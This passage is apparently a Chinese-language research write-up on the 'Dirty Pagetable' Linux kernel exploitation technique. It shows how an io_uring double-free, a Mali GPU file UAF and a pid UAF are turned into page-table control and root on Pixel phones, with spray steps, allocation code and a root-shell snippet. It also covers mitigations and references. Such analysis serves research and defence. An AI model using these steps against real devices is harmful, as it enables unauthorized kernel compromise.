由于竞争无法控制io_cancel_defer_files()__io_queue_deferred() 何时被触发,可通过重复执行exec任务和iopoll任务,如下所示:

iopoll Task                                            exec Task
(cpu A)                                                (cpu B)
while(1) { //<----- 重复                                while(1) { //<----- 重复
  A1.通过io_uring_setup()创建一个`io_ring_ctx`;

  A2.生成`io_defer_entry`对象, 将其添加到`ctx->defer_list`
                                                         B1.向`io_ring_ctx`提交`IOSQE_IO_DRAIN`请求
                                                         (这会生成另一个`io_defer_entry`,并添加到
                                                         `ctx->defer_list`)


  A3.触发 __io_queue_deferred();       <-------->         B2.触发 io_cancel_defer_files();
}                                                      }

两种崩溃情况

  • (1)由无效list造成。io_cancel_defer_files()__io_queue_deferred() 会竞争遍历ctx->defer_list并从中移除对象,因此ctx->defer_list可能会无效,会触发__list_del_entry_valid()导致内核崩溃。这种情况无法利用。
  • (2)由Double-Free造成。情况如下:
iopoll Task                                          exec Task
(cpu A)                                              (cpu B)

static void __io_queue_deferred(struct io_ring_ctx *ctx)
{
    do {
        struct io_defer_entry *de = list_first_entry(&ctx->defer_list,
                        struct io_defer_entry, list);
        if (req_need_defer(de->req, de->seq))
            break;

                                        static void io_cancel_defer_files(struct io_ring_ctx *ctx,
                                                          struct task_struct *task,
                                                          struct files_struct *files)
                                        {
                                            struct io_defer_entry *de = NULL;
                                            LIST_HEAD(list);
                                            spin_lock_irq(&ctx->completion_lock);
                                            list_for_each_entry_reverse(de, &ctx->defer_list, list) {
                                                if (io_match_task(de->req, task, files)) {
                                                    list_cut_position(&list, &ctx->defer_list, &de->list);
                                                    break;
                                                }
                                            }
                                            spin_unlock_irq(&ctx->completion_lock);
                                            while (!list_empty(&list)) {
                                                de = list_first_entry(&list, struct io_defer_entry, list);
                                                list_del_init(&de->list);

        list_del_init(&de->list);
        io_req_task_queue(de->req);
        kfree(de);  //<-----  the first kfree()
    } while (!list_empty(&ctx->defer_list));
}

                                                req_set_fail_links(de->req);
                                                io_put_req(de->req);
                                                io_req_complete(de->req, -ECANCELED);
                                                kfree(de);  //<----- the second kfree()
                                            }
                                        }

2-3. 尝试

Android内核5.10中,io_defer_entry漏洞对象位于kmalloc-128,触发Double-Free的步骤如下:

(1)在第1次 kfree() 之前:

pic3_before_kfree

(2)在第1次 kfree() 之后:

pic4_first_kfree

(3)第2次 kfree() 之后:

pic5_second_kfree

(4)如上所示,slab进入了非法状态:freelistnext object都指向同一空闲对象。理想情况下,我们可以从slab中分配对象两次,从而控制slab的freelist。首先,从slab中分配出一个内容可控的对象:

pic6_after_allocate

(5)可见,由于分配的对象内容可控,可以让next object指向我们可控的任何虚拟地址。接着,再次从slab中分配一个对象,slab如下所示:

pic7_after_second_allocate

让freelist指向我们可控的虚拟地址,就能轻松提权。问题是Android内核开启了CONFIG_SLAB_FREELIST_HARDENED,会混淆next object指针,由于freelist不可控而导致内核崩溃。

2-4. 可利用性

目标:将Double-Free转化为UAF。

iopoll  Task                                        exec Task
(cpu A)                                             (cpu B)

A1.kfree(de);

A2.堆喷,分配受害者对象来占据de

                                                    B1. kfree(de); // 再次释放受害者对象

                                                    B2. 使用受害者对象就会触发UAF

(1)挑战 1 - 竞争窗口过小:难以在两次释放io_defer_entry之间堆喷占用空闲对象

(2)挑战 2 - 重复触发Double-Free会降低可利用性

重复速度越快,Double-Free错误触发的速度越快。在测试时,可通过添加调试代码来增大两次kfree()之间的时间窗口,解决挑战1:

iopoll  Task                                        exec Task
(cpu A)                                             (cpu B)

A1.kfree(de);

A2.堆喷,分配受害者对象来占据de

                                                    B1.mdelay(200) // 增大竞争窗口 !!!

                                                    B2.kfree(de);  // 释放受害者对象

                                                    B3. 使用受害者对象就会触发UAF

问题是,增大了竞争窗口,能够解决挑战1,但是使得重复速度变慢,很难触发Double-Free漏洞了。增大竞争窗口和提高重复速率相矛盾了。

(3)解决挑战 2 - 通过增大ctx->defer_list双链表的长度,增大iopoll任务的遍历时间,以控制竞争点的时序

首先,作者发现ctx->defer_list可以是很长的list,因为io_uring不限制ctx->defer_listio_defer_entry对象的个数。其次,生成io_defer_entry对象很容易。根据 io_uring 稳定,我们不仅可以生成io_defer_entry对象与启用REQ_F_IO_DRAIN的请求相关联,还可以生成io_defer_entry对象与未启用REQ_F_IO_DRAIN的请求相关联。

       IOSQE_IO_DRAIN
              When this flag is  specified,  the  SQE  will  not  be  started  before  previously
              submitted  SQEs  have  completed,  and new SQEs will not be started before this one
              completes. Available since 5.2.
           当指定此标志时,SQE将不会在之前提交的SQE完成之前开始处理,新的SQE也不会在这个SQE完成之前开始。5.2开始可用

以下代码用于生成100w个io_defer_entry对象,每个对象都与一个未启用 REQ_F_IO_DRAIN 的请求相关联:

iopoll  Task
(cpu A)

A1. create a `io_ring_ctx` with IORING_SETUP_IOPOLL enabled by io_uring_setup();

A2: 提交 IORING_OP_READ 请求来读取 ext4 文件系统的文件;

A3. 在启用 REQ_F_IO_DRAIN 的情况下提交请求;  // 触发生成`io_defer_entry`对象,因为还没有获取到之前的请求的CQE 

A4. for (i = 0; i < 1000000; i++) {
        在禁用 REQ_F_IO_DRAIN 的情况下提交请求;  // 触发生成`io_defer_entry`对象,和未启用REQ_F_IO_DRAIN的请求相关联
    }

由于我们能够生成非常多的io_defer_entry,且与未启用REQ_F_IO_DRAIN的请求相关联,因此可以使 __io_queue_deferred() 遍历ctx->defer_list很长一段时间。这样能使__io_queue_deferred()执行数秒钟,然后同时准确的触发执行io_cancel_defer_files(),准确触发Double-Free

static void __io_queue_deferred(struct io_ring_ctx *ctx)
{
    do {
        struct io_defer_entry *de = list_first_entry(&ctx->defer_list,
                        struct io_defer_entry, list);
        if (req_need_defer(de->req, de->seq)) // 返回false,因为没有启用REQ_F_IO_DRAIN
            break;
        list_del_init(&de->list);
        io_req_task_queue(de->req);
        kfree(de);
    } while (!list_empty(&ctx->defer_list));
}

(4)解决挑战 1 - 利用两次kfree()之间的代码来增大竞争窗口

现在不需要使用重复策略来触发Double-Free了,可以任意扩大 kfree()时间窗。很可惜Jann Horn[1]、Yoochan Lee、Byoungyoung Lee、Chanwoo Min[2]提出的方法都没用。那么 io_cancel_defer_files() 中是否有些代码可以帮助增大时间窗口呢?

作者发现,io_cancel_defer_files()第2次调用kfree()之前有很多唤醒操作,例如,会调用 io_req_complete() -> io_cqring_ev_posted()

static void io_cqring_ev_posted(struct io_ring_ctx *ctx)
{
    if (wq_has_sleeper(&ctx->cq_wait)) {
        wake_up_interruptible(&ctx->cq_wait);  //<------------------------ wakeup the waiter (1)
        kill_fasync(&ctx->cq_fasync, SIGIO, POLL_IN);
    }
    if (waitqueue_active(&ctx->wait))
        wake_up(&ctx->wait);                   //<------------------------ wakeup the waiter (2)
    if (ctx->sq_data && waitqueue_active(&ctx->sq_data->wait))
        wake_up(&ctx->sq_data->wait);          //<------------------------ wakeup the waiter (3)
    if (io_should_trigger_evfd(ctx))
        eventfd_signal(ctx->cq_ev_fd, 1);      //<------------------------ wakeup the waiter (4)
}

exec任务有4个地方会唤醒其他任务来运行,可利用第1个来扩大时间窗口。对 io_uring fd调用epoll_wait(),就能在ctx->cq_wait上设置一个waiter;还需要另一个epoll任务来执行epoll_wait(),这样epoll任务就能在调用wake_up_interruptible()时抢占CPU,从而在第2次调用kfree()之前暂停 io_cancel_defer_files()。问题是,如果很快就重新执行exec任务,时间窗还是很小。解决办法是采用 Jann Horn[1] 提到的调度器策略,成功将 kfree() 窗口增大数秒。

触发Double-Free并转化为UAF的流程如下:

pic8_final_race

2-5. 提权

2-5-1. 创建signalfd_ctx受害者对象

signalfd_ctx分配:调用signalfd()就会从 kmalloc-128 分配signalfd_ctx对象。

static int do_signalfd4(int ufd, sigset_t *mask, int flags)
{
    struct signalfd_ctx *ctx;
    ......
    sigdelsetmask(mask, sigmask(SIGKILL) | sigmask(SIGSTOP));// mask 值的 bit 18 和 bit 8 会被置为 1
    signotset(mask);

    if (ufd == -1) {
        ctx = kmalloc(sizeof(*ctx), GFP_KERNEL);      //<-----------  分配`signalfd_ctx`对象
        if (!ctx)
            return -ENOMEM;

        ctx->sigmask = *mask;

        /*
         * When we call this, the initialization must be complete, since
         * anon_inode_getfd() will install the fd.
         */
        ufd = anon_inode_getfd("[signalfd]", &signalfd_fops, ctx,
                       O_RDWR | (flags & (O_CLOEXEC | O_NONBLOCK)));
        if (ufd < 0)
            kfree(ctx);
    } else {
        struct fd f = fdget(ufd);
        if (!f.file)
            return -EBADF;
        ctx = f.file->private_data;
        if (f.file->f_op != &signalfd_fops) {
            fdput(f);
            return -EINVAL;
        }
        spin_lock_irq(&current->sighand->siglock);
        ctx->sigmask = *mask;                       // <----  对 signalfd_ctx->sigmask 进行有限制的写操作
        spin_unlock_irq(&current->sighand->siglock);

        wake_up(&current->sighand->signalfd_wqh);
        fdput(f);
    }

    return ufd;
}

signalfd_ctx读写操作:如上所示,在堆喷后会往signalfd_ctx开头写入8字节,但不影响利用。除了有限制的写操作,还可以通过show_fdinfo接口(procfs导出)读取signalfd_ctx的前8字节。

static void signalfd_show_fdinfo(struct seq_file *m, struct file *f)
{
    struct signalfd_ctx *ctx = f->private_data;
    sigset_t sigmask;

    sigmask = ctx->sigmask;
    signotset(&sigmask);
    render_sigset_t(m, "sigmask:\t", &sigmask); 	// 读取`signalfd_ctx`的前8字节
}

堆喷signalfd_ctx:在两次kfree()之间,堆喷16000 signalfd_ctx 对象来占用释放的io_defer_entry对象。如果成功占据,那么第2次kfree()就会释放这个signalfd_ctx 对象,我们将其称为受害者signalfd_ctx 对象。

2-5-2. 定位受害者signalfd_ctx 对象

思路:堆喷seq_operations对象是为了确定哪一个signalfd_ctx 对象被释放了,也即受害者signalfd_ctx 对象对应的fd,便于后面利用该fd篡改PTE。

第2次kfree()后堆喷16000个seq_operations对象,可调用single_open()来分配(打开/proc/self/status或其他procfs文件可触发single_open())。

int single_open(struct file *file, int (*show)(struct seq_file *, void *),
        void *data)
{
    struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT);//allocate seq_operations object
    int res = -ENOMEM;

    if (op) {
        op->start = single_start;
        op->next = single_next;
        op->stop = single_stop;
        op->show = show;
        res = seq_open(file, op);
        if (!res)
            ((struct seq_file *)file->private_data)->private = data;
        else
            kfree(op);
    }
    return res;
}

如果堆喷的seq_operations对象占据了某个释放的signalfd_ctx对象,如下所示:

pic9_locate_signalfd_ctx

方法:通过读取所有信号fd的fdinfo,如果其fdinfo与初始化不同,说明其前8字节被覆盖成了seq_operations的内核地址。该fd和受害者signalfd_ctx对象相关联。这样就定位到了受害者signalfd_ctx 对象

2-5-3. 回收受害者signalfd_ctx 对象所在的slab

方法:关闭所有信号fd和/proc/self/status fd,除了受害者signalfd_ctx 对象对应的fd,这样受害者signalfd_ctx对象所在的slab变空,会被页分配器所回收。

2-5-4. 用户页表占据受害者slab

目标:堆喷用户页表来占据受害者slab,并定位受害者signalfd_ctx对象的位置。

由于kmalloc-128 slab使用的是1-page,且用户页表也是1-page,这样可以堆喷用户页表来占据受害者slab。如果成功则如下图所示:

pic10_pagetable_occupy

可见,通过写入受害者signalfd_ctx对象的前8字节,可以控制用户页表的某个PTE。将PTE的物理地址设置为内核text/data的物理地址,就能修改内核text/data数据。

页表喷射步骤如下:

(1)调用mmap()在虚拟地址空间中创建一块大内存区域

内存区域大小:因为每个末级页表描述了2M的虚拟内存(512*4096),所以如果要喷射512个用户页表,必须调用 mmap() 创建512*2M大小的内存区域。

内存区域计算 —— 内存区域大小 = 页表数量 * 2MiB

起始虚拟地址:起始虚拟地址需与2M(0x200000)对齐。原因是,现在我们只能控制signalfd_ctx的前8字节,并且不知道受害者signalfd_ctx对象在slab中具体位置,可能位于中间。0x200000对齐的起始虚拟地址能确保该地址对应的PTE位于页表的前8个字节。这样在第3步之后页表将如下所示:

pic11_start_virtual_address

(2)页表分配

分配方法:上一步已经创建了内存区域,现在可以从起始虚拟地址开始每隔0x200000字节执行一次写操作,确保内存区域对应的所有用户页表都被分配。即可堆喷用户页表。

unsigned char *addr = (unsigned char *)start_virtual_address;
for (unsigned int i = 0; i < size_of_memory_region; i+= 0x200000) {
    *(addr + i) = 0xaa;
}

(3)在页表中定位受害者signalfd_ctx对象

在第2步以后,我们只能确保每个页表的第1个PTE有效。因为受害者signalfd_ctx对象可以位于页表中与 128 对齐的任何偏移处,所以必须验证位于页表中所有与128对齐的偏移处的PTE。因此,我们从起始虚拟地址开始,每隔16K字节(每个page含有32个signalfd_ctx对象,对象大小为128字节,128 / 8 * 4096 = 16 page,这里的16K小了,但也能达到目的)进行一次写操作。最终的页表如上图所示。

定位方法:通过读取受害者信号fd的fdinfo,可以泄露受害者signalfd_ctx对象的前8个字节。如果能成功读取一个有效的PTE值,说明成功的用用户页表占用了受害者slab。否则,unmap() 该区域,重映射更大的内存,重复步骤(1)~(3)。

2-5-5. patch内核并提权

现在可通过受害者signalfd_ctx对象控制PTE,下面通过将PTE的物理地址设置为内核text/data地址,patch内核并提权。

(1)定位PTE对应的用户虚拟地址

目的:虽然现在可以控制用户页表的一个PTE,但是还不知道该PTE对应的用户虚拟地址。只有知道了该PTE对应的虚拟地址,才能通过写入该用户虚拟地址来patch内核的text/data

方法:为了定位该PTE对应的用户虚拟地址,需将该PTE的物理地址修改为其他物理地址。然后遍历之前映射的所有虚拟地址,检查是否有一个虚拟地址上的值不是之前设置的初始值(0xaa)。如果找到这样一个虚拟地址,则说明就是PTE对应的虚拟地址。

pic12_find_virtual_address

(2)绕过写限制

写限制:受害者signalfd_ctx对象的写入能力有限(写入值的bit 18和bit 8被设置为1),无法对内核任意地址进行patch。一个普通PTE对应的用户虚拟地址为0xe800098952ff43,其bit 8总是为1,但是bit 18位于PTE的物理地址中,所以只能对bit 18为1的物理地址进行patch。

该限制是由do_signalfd4()中的sigdelsetmask(mask, sigmask(SIGKILL) | sigmask(SIGSTOP));语句所导致,是否可以对该语句打patch呢?

static int do_signalfd4(int ufd, sigset_t *mask, int flags)
{
    struct signalfd_ctx *ctx;
    ......
    sigdelsetmask(mask, sigmask(SIGKILL) | sigmask(SIGSTOP)); // 将mask中的bit 18和bit 8设置为1
    signotset(mask);

    if (ufd == -1) {
        ......
    } else {
        struct fd f = fdget(ufd);
        if (!f.file)
            return -EBADF;
        ctx = f.file->private_data;
        if (f.file->f_op != &signalfd_fops) {
            fdput(f);
            return -EINVAL;
        }
        spin_lock_irq(&current->sighand->siglock);
        ctx->sigmask = *mask;                       // <----- 对signalfd_ctx进行有限制的写操作 
        spin_unlock_irq(&current->sighand->siglock);

        wake_up(&current->sighand->signalfd_wqh);
        fdput(f);
    }

    return ufd;
}

do_signalfd4()的物理地址的 bit 18 恰好为1,因此可patch sigdelsetmask(mask, sigmask(SIGKILL) | sigmask(SIGSTOP)); 语句。如何找到内核某函数的物理地址?

(3)对内核打补丁

目标是对selinux_statesetresuid()/setresgid()等函数打补丁,以提权 Google Pixel 7。由于只有一个PTE可控,所以需要多次修改PTE的物理地址。

(4)调用setresuid()setresgid()提权

if (setresuid(0, 0, 0) < 0) {
    perror("setresuid");
} else {
    if (setresgid(0, 0, 0) < 0) {
        perror("setresgid");
    } else {
        printf("[+] Spawn a root shell\n");
        system("/system/bin/sh");
    }
}

最终在Google Pixel 7上成功提权:

pic13_pixel7_root

2-6. 反思

脏页表利用非常强,特别是对Double-Free漏洞。本文只介绍了CVE-2023-21400的提权利用,对于CVE-2021-22600[3]和CVE-2022-22265[4],是否也可以呢?

3. 利用file UAF

3-1. file UAF现有利用方法

file UAF漏洞最近比较流行,主要有3种利用方法:

  • (1)获取已释放的受害者file对象,供新打开的特权文件重用,例如/etc/crontab,之后就能写入特权文件提权。Jann Horn[1]、Mathias Krause[5]、Zhenpeng Lin[6]和作者[7]用到了本方法。缺点有3个,一是在新内核上必须赢得竞争,有一定技巧性和概率性;二是Android上无法写入高权限文件,因为这些文件位于只读文件系统中;三是无法逃逸容器。
  • (2)攻击系统库或可执行文件的页缓存, Xingyu Jin、Christian Resell、Clement Lecigne、Richard Neal[8] 和 Mathias Krause[9]用到了本方法。利用该方法可向libc.so等系统库中注入恶意代码,当特权进程执行libc.so时将以特权用户的身份执行恶意代码,利用结果类似于DirtyPipe。优点是不需要竞争,稳定性较好,但是要想在Android上完整提权或逃逸容器还很复杂,且不适用于其他类型的UAF漏洞。
  • (3)Cross-cache利用。Yong Wang[10]和Maddie Stone[11]都用到了本方法。提权之前都需要绕过KASLR,Yong Wang[10] 通过重复使用syscall代码来猜测 kslides 绕过了KASLR,Maddie Stone[11] 通过另一个信息泄露漏洞绕过了KASLR。绕过KASLR之后,他们伪造了一个file对象来构造内核读写原语。缺点是需要绕过KASLR。

3-2. 脏页表方法利用file UAF

以CVE-2022-28350和内核版本为5.10的Android为例,介绍Dirty Pagetable的工作原理。

3-2-1. CVE-2022-28350漏洞介绍

介绍:位于ARM Mali GPU驱动中的 file UAF 漏洞,影响Android 12 和 Android 13。漏洞原因如下。

static int kbase_kcpu_fence_signal_prepare(...) {
    ...
    /* create a sync_file fd representing the fence */
    sync_file = sync_file_create(fence_out); //<------ 创建 file 对象
    if (!sync_file) {
        ...
        ret = -ENOMEM;
        goto file_create_fail;
    }

    fd = get_unused_fd_flags(O_CLOEXEC); //<------ 获取未使用的 fd
    if (fd < 0) {
        ret = fd;
        goto fd_flags_fail;
    }

    fd_install(fd, sync_file->file); //<------ 将 file 对象和 fd 关联起来

    fence.basep.fd = fd;
    ...
    if (copy_to_user(u64_to_user_ptr(fence_info->fence), &fence,
            sizeof(fence))) {
        ret = -EFAULT;
        goto fd_flags_fail; //<------ 进入本分支
    }

    return 0;

fd_flags_fail:
    fput(sync_file->file); //<------ 释放 file 对象
file_create_fail:
    dma_fence_put(fence_out);

    return ret;
}

可见,调用 fd_install()file 对象与 fd 关联起来。通过copy_to_user()将fd传递到用户空间,但如果拷贝失败,将释放 file 对象,导致一个有效的fd和已释放的file对象关联起来:

pic14_dangling_file

上图可见,受害者fd与filp slab上已释放的file对象相关联,详情可参见 [7]。释放的file对象就称为受害者file对象,其所在的slab就是受害者slab。

3-2-2. 回收受害者slab

释放受害者slab上所有对象后,页分配器会回收该slab。

3-2-3. 用户页表占据受害者slab

Android上 filp slab的大小是2-page,而用户页表大小是1-page。虽然二者大小不同,但是堆喷用户页表来占用受害者slab的成功率几乎是100%,占用成功后内存布局如下:

pic15_occupy_slab_with_pagetable

3-2-4. 递增原语+定位受害者PTE对应的虚拟用户地址

递增原语:目的是构造写原语来篡改PTE。受害者file对象被用户页表所覆写,对该file对象进行操作可能导致内核崩溃。但是作者发现,调用 dup() 将file对象的f_count递增1,不会触发崩溃,问题是 dup() 会消耗fd资源,单个进程最多打开32768个fd,所以f_count最多递增32768。作者又发现fork()+dup()可突破该限制,先调用fork(),会将受害者file对象的f_count加1,子进程中可将f_count增加32768。由于可以多次重复fork()+dup(),所以成功突破限制。

PTE与f_count重叠:下一步是让受害者PTE的位置与f_count重合,这样就能利用递增原语来控制PTE。

file对象的对齐大小为320字节,f_count的偏移是56,占8字节

(gdb) ptype /o struct file
/* offset      |    size */  type = struct file {
/*      0      |      16 */    union {
/*                     8 */        struct llist_node {
/*      0      |       8 */            struct llist_node *next;

                                       /* total size (bytes):    8 */
                                   } fu_llist;
/*                    16 */        struct callback_head {
/*      0      |       8 */            struct callback_head *next;
/*      8      |       8 */            void (*func)(struct callback_head *);

                                       /* total size (bytes):   16 */
                                   } fu_rcuhead;

                                   /* total size (bytes):   16 */
                               } f_u;
/*     16      |      16 */    struct path {
/*     16      |       8 */        struct vfsmount *mnt;
/*     24      |       8 */        struct dentry *dentry;

                                   /* total size (bytes):   16 */
                               } f_path;
/*     32      |       8 */    struct inode *f_inode;
/*     40      |       8 */    const struct file_operations *f_op;
/*     48      |       4 */    spinlock_t f_lock;
/*     52      |       4 */    enum rw_hint f_write_hint;
/*     56      |       8 */    atomic_long_t f_count;
/*     64      |       4 */    unsigned int f_flags;
......
......
/*    288      |       8 */    u64 android_oem_data1;

                               /* total size (bytes):  296 */
                             }

filp cache的slab大小为2-page,一个filp cache的slab中有25个file对象,slab的结构如下所示:

pic16_slab_layout_of_filp

由于受害者file对象有25个可能的位置,为确保受害者file对象的f_count和受害者PTE恰好重合,需准备如下用户页表:

pic17_pagetable_layout

识别PTE对应的用户虚拟地址:现在我们能使受害者file对象的f_count与一个有效的PTE重合了,这个有效的PTE就是受害者PTE。如何找到受害者PTE对应的用户虚拟地址呢?可利用递增原语。

在利用递增原语之前,页表和相应的用户虚拟地址应该如下所示:可以看到,为了区分每个用户虚拟地址对应的物理页,作者将虚拟地址写在每个物理页的前8字节,作为标记。由于用户虚拟地址对应的所有物理页都是一次性分配的,因此它们的物理地址很可能是连续的。

pic18_patable_and_va

如果我们利用递增原语将受害者PTE增加0x1000,就会改变与受害者PTE对应的物理页,如下所示:受害者PTE和另一个有效的PTE对应同一个物理页!现在可遍历所有虚拟页,检查前8字节是不是其虚拟地址,若不是,则该虚拟页就是受害者PTE对应的虚拟页。

pic19_change_victim_pte

3-2-5. 堆喷占用页表

问题:现在找到了受害者PTE,且有递增原语。可将受害者PTE对应的物理地址设置为内核text/data的物理地址,但是mmap() 分配的内存对应的物理地址大于内核text/data的物理地址,而且递增原语有限,无法溢出受害者PTE。解决办法是使PTE指向某个用户页表,通过间接篡改用户页表,来篡改物理内存

策略 1:现在已经让受害者PTE和另一有效PTE指向同一物理页,那么如果我们调用munmap()解除另一有效PTE的虚拟页映射,并触发物理页的释放,会发生什么?page UAF!再用用户页表占据释放页,就能控制用户页表。但问题是,很难堆喷用户页表来占据释放页。原因是,匿名 mmap() 分配的物理页来自内存区的MIGRATE_MOVABLE free_area,而用户页表是从内存区的MIGRATE_UNMOVABLE free_area分配,所以很难通过递增PTE使之指向另一用户页表。参考[10]解释了这一点。

策略 2:新策略能够捕获用户页表,步骤如下。本质是采用另一种方式来分配物理页,使该物理页和用户页表来自同一内存区域,这样如果受害者PTE指向该物理页,就能通过递增该PTE,使该PTE指向某个用户页表

(1)对共享页和用户页表进行 heap shaping

目的:由于共享页和用户页表位于同一种内存,可将共享页嵌入到众多用户页表当中。

共享物理页:通常,内核空间和用户空间需要共享一些物理页,从两个空间都能访问到。有些组件可用于分配这些共享页,例如 dma-buf heaps, io_uring, GPUs 等。

分配共享物理页:作者选用 dma-buf 系统堆来分配共享页,因为可以从Android中不受信任的APP来访问/dev/dma_heap/system,并且 dma-buf 的实现相对简单。通过 open(/dev/dma_heap/system) 可获得一个 dma heap fd,然后用以下代码分配一个共享页:

    struct dma_heap_allocation_data data;

    data.len = 0x1000;
    data.fd_flags = O_RDWR;
    data.heap_flags = 0;
    data.fd = 0;

    if (ioctl(dma_heap_fd, DMA_HEAP_IOCTL_ALLOC, &data) < 0) {
        perror("DMA_HEAP_IOCTL_ALLOC");
        return -1;
    }
    int dma_buf_fd = data.fd;

由用户空间中的 dma_buf fd来表示一个共享页,可通过mmap() dma_buf fd 将共享页映射到用户空间。从 dma-buf 系统堆分配的共享页本质上是从页分配器分配的(实际上 dma-buf 子系统采用了页面池进行优化,对于本利用没有影响)。用于分配共享页的 gfp_flags 如下所示:

#define HIGH_ORDER_GFP  (((GFP_HIGHUSER | __GFP_ZERO | __GFP_NOWARN \ 	// HIGH_ORDER_GFP 用于 order-8和order-4 page
                | __GFP_NORETRY) & ~__GFP_RECLAIM) \
                | __GFP_COMP)
#define LOW_ORDER_GFP (GFP_HIGHUSER | __GFP_ZERO | __GFP_COMP) 			// LOW_ORDER_GFP 用于 order-0 page
static gfp_t order_flags[] = {HIGH_ORDER_GFP, HIGH_ORDER_GFP, LOW_ORDER_GFP};

共享页分配vs页表分配:从LOW_ORDER_GFP可以看出,单个共享页是从内存的MIGRATE_UNMOVABLE free_area中分配的,和页表分配的出处一样。且单个共享页为order-1 (order-0 ?),和页表的order相同。结论是,单个共享页和页表都是从同一migrate free_cache中分配,且order相同

通过以下步骤,就能获得下图中单个共享页和用户页表的布局:

step1:分配3200个用户页表
step2:使用dma-buf系统堆分配单个共享页面
step3:分配3200个用户页表

pic20_sharing_page_and_pagetables

可见,在物理内存中,单个共享页和用户页表分布得比较紧凑。现在,我们成功对共享页和用户页表进行了heap shaping。

(2)取消与受害者 PTE 对应的虚拟地址的映射,并将共享页映射到该虚拟地址

目标:由于共享页和页表位于同种内存,所以需要将受害者PTE从原先的物理页映射到共享物理页。

方法:可通过mmap() dma_buf fd 将共享页映射到用户空间,因此可先munmap() 受害者PTE对应的虚拟地址,然后将单个共享页映射到该虚拟地址。如下图所示:

pic21_remap_sharing_page

(3)利用递增原语捕获用户页表

现在,我们利用递增原语对受害者PTE增加0x1000、0x2000、0x3000,有很大机率使受害者PTE对应到另一用户页表。如下图所示:

pic22_catch_uesr_pagetable

3-2-6. patch内核提权

现在已经控制了一个用户页表。通过修改用户页表中的PTE,就能修改内核 text/data,其余操作和 2-5-5 类似,即可提权:

pic23_file_uaf_root

4. 利用pid UAF

4-1. CVE-2020-29661漏洞介绍

介绍:CVE-2020-29661属于pid UAF漏洞,已被Jann Horn[12]和Yong Wang[10]利用。Jann Horn在Debian上通过控制用户页表来修改只读文件(例如,setuid二进制文件)的页缓存,缺点是无法逃逸容器,且不能绕过Android上的SELinux防护。

作者采用Dirty Pagetable的方法重新利用了CVE-2020-29661,能在含有内核4.14的Google Pixel 4上提权。pid UAF 和 file UAF 都使用类似的增递增原语来操作 PTE。以下只介绍关键步骤。

4-2. 脏页表方法利用CVE-2020-29661

与file UAF类似,在触发CVE-2020-29661并释放受害者slab中的所有其他pid对象后,可通过 3-2-2 ~ 3-2-3 类似方法,用用户页表占用受害者slab。如下图所示,受害者pid对象位于用户页表中:

pic24_occupy_slab_with_pagetable_pid

4-2-1. 利用pid UAF构造递增原语

目标:利用递增原语篡改受害者PTE。

选取受害者pid对象的count成员与有效PTE重合,count位于pid对象的前4字节(8字节对齐):

struct pid
{
    refcount_t count; //<------------- 4 bytes, aligned with 8
    unsigned int level;
    spinlock_t lock;
    /* lists of tasks that use this pid */
    struct hlist_head tasks[PIDTYPE_MAX];
    struct hlist_head inodes;
    /* wait queue for pidfd notifications */
    wait_queue_head_t wait_pidfd;
    struct rcu_head rcu;
    struct upid numbers[1];
};

尽管 count 字段只有4字节,但是与PTE的低4字节重合。Jann horn[12] 之前基于 count 构造了递增原语,但是限制也是由于fd资源有限,可通过 fork() 在多个进程中执行递增原语,突破限制。

4-2-2. 分配共享页

内核4.14中没有 dma-buf,可通过ION来分配共享页,ION更加方便,因为可通过设置ION的flag直接从页分配器分配共享页。分配代码如下:

#if LEGACY_ION
int alloc_pages_from_ion(int num) {

    struct ion_allocation_data data;
    memset(&data, 0, sizeof(data));

    data.heap_id_mask = 1 << ION_SYSTEM_HEAP_ID;
    data.len = 0x1000*num;
    data.flags = ION_FLAG_POOL_FORCE_ALLOC;
    if (ioctl(ion_fd, ION_IOC_ALLOC, &data) < 0) {
        perror("ioctl");
        return -1;
    };

    struct ion_fd_data fd_data;
    fd_data.handle = data.handle;
    if (ioctl(ion_fd, ION_IOC_MAP, &fd_data) < 0) {
        perror("ioctl");
        return -1;
    }
    int dma_buf_fd = fd_data.fd;
    return dma_buf_fd;
}
#else
int alloc_pages_from_ion(int num) {

    struct ion_allocation_data data;
    memset(&data, 0, sizeof(data));

    data.heap_id_mask = 1 << ION_SYSTEM_HEAP_ID;
    data.len = 0x1000*num;
    data.flags = ION_FLAG_POOL_FORCE_ALLOC;
    if (ioctl(ion_fd, ION_IOC_ALLOC, &data) < 0) {
        perror("ioctl");
        return -1;
    }

    int dma_buf_fd = data.fd;

    return dma_buf_fd;
}
#endif

共享页由用户空间中的dma_buf_fd 表示,可通过 mmap() dma_buf_fd 将共享页映射到用户空间。

4-2-3. Google Pixel 4提权

成功提权:

pic25_root_pixel4

5. 脏页表方法的挑战

(1)如何刷新TLB和页表缓存

为了加快MMU的页表查找,ARM64使用多级缓存,例如TLB和专用页表缓存。为了成功使用脏页表,必须在访问用户页表之前刷新这些缓存,否则无法正确patch内核。Stephan van Schaik [13] 在文中提出了一种可靠的方法来刷新缓存,本文采用的是该方法。

(2)如何防止提权过程中对页表的意外操作

  • 第一,可能会使用非最后一级页表的受害者slab,例如2级页表或3级页表。为了避免这种情况,需在堆喷末级页表之前触发非末级页表的分配。
  • 第二,内核可能会交换出我们正在修改的PTE对应的页。该操作会使我们正在修改的页无法访问,导致内核崩溃。为避免这种情况,可以使用 mlock() 将PTE对应的虚拟地址锁定到RAM中,或者尽量不要让内存承受太大的压力,避免该页被换出交换区。

6. 脏页表的缓解方法

(1)内核物理地址随机化,避免攻击者知道准确的内核物理地址,但是仍可以篡改其他内核堆数据来提权(不需要绕过内核物理地址随机化)。

(2)将用户页表设置为只读,这样就无法篡改用户页表,但是会增大开销,因为内核需要做更多的修改页表的工作。

(3)利用hypervisor 或 Trustzone技术使内核text或其他内存区域变为只读,这种方法能防止脏页表修改内核text或其他内存区域。

7. 参考

Dirty Pagetable: A Novel Exploitation Technique To Rule Linux Kernel

[0] Flipping Pages: An analysis of a new Linux vulnerability in nf_tables and hardened exploitation techniques —— 通用利用方法,本方法名叫Dirty Pagedirectory。利用堆漏洞(例如Double-Free)在同一地址分配Page Upper Directory (PUD)Page Middle Directory (PMD),其VMA 应该是独立的,以避免冲突(因此不要在 PUD 区域内分配 PMD)。 然后,向PMD范围内的页写入地址,并读取PUD范围的相应页中的地址。

[1] https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf

[2] https://lifeasageek.github.io/papers/ yoochan-exprace-bh.pdf

[3] https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-YongLiu-USMA-Share-Kernel-Code.pdf

